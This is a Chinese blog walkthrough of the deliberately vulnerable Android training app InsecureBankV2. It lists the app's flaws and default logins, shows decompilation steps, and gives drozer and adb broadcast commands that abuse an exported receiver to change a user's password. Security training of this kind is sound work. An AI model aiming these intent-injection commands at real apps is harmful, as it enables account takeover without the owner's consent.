Android安全--InsecureBankV2实战

最新推荐文章于 2026-07-15 19:36:31 发布

原创

最新推荐文章于 2026-07-15 19:36:31 发布 · 2.3k 阅读

0x01 基本信息

项目地址：https://github.com/dineshshetty/Android-InsecureBankv2

默认账号：dinesh/Dinesh@123$ or jack/Jack@123$

涉及漏洞：

Flawed Broadcast Receivers
Intent Sniffing and Injection
Weak Authorization mechanism
Local Encryption issues
Vulnerable Activity Components
Root Detection and Bypass
Emulator Detection and Bypass
Insecure Content Provider access
Insecure Webview implementation
Weak Cryptography implementation
Application Patching
Sensitive Information in Memory
Insecure Logging mechanism
Android Pasteboard vulnerability
Application Debuggable
Android keyboard cache issues
Android Backup vulnerability
Runtime Manipulation
Insecure SDCard storage
Insecure HTTP connections
Parameter Manipulation
Hardcoded secrets
Username Enumeration issue
Developer Backdoors
Weak change password implementation

0x02 开搞

0. 反编译

反编译APK，反编译dex，便于查看 java、androidmanifest、资源文件

apktool、dex2jar配置就多说，不清楚的度娘一把。

反编译命令如下：

cp InsecureBankv2.apk InsecureBankv2.zip
mkdir zipfile
apktool d -o apkfile InsecureBankv2.apk 

unzip InsecureBankv2.zip -d zipfile

cd zipfile/

d2j-dex2jar.sh classes.dex

1. Flawed Broadcast Receivers

查看Manifest文件，包含<intent-filter>，exported属性默认true。


<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
            <intent-filter>
                <action android:name="theBroadcast"/>
            </intent-filter>
        </receiver>

JD-JUI查看java，看样子可进行密码修改。同时，看到base64，弱密码问题没跑了。

搜索Broadcast，定位到 ChangePassword.class，参数被传递到BroadcastReceiver

drozer 发消息看下，执行无任何提示，因为电话号码是无效的，不可能有短信过来。可以用新密码登录试一下，登录成功说明执行ok。

dz> run app.broadcast.send --action theBroadcast --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1234  --extra string newpass Dinesh@123!

// 也可以使用adb shell am 发送

am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 1234 –es newpass Dinesh@123!

2. Intent Sniffing and Injection

试了下drozer app.broadcast.sniff 模块，运行修改密码，drozer 无反馈，app崩溃。还望清楚这个问题的朋友告知。

dz> run app.broadcast.sniff 

[-] No broadcast receiver registered. However, this will still receive intents from previously registered receivers.

[*] Output is updated once a second. Press Control+C to exit.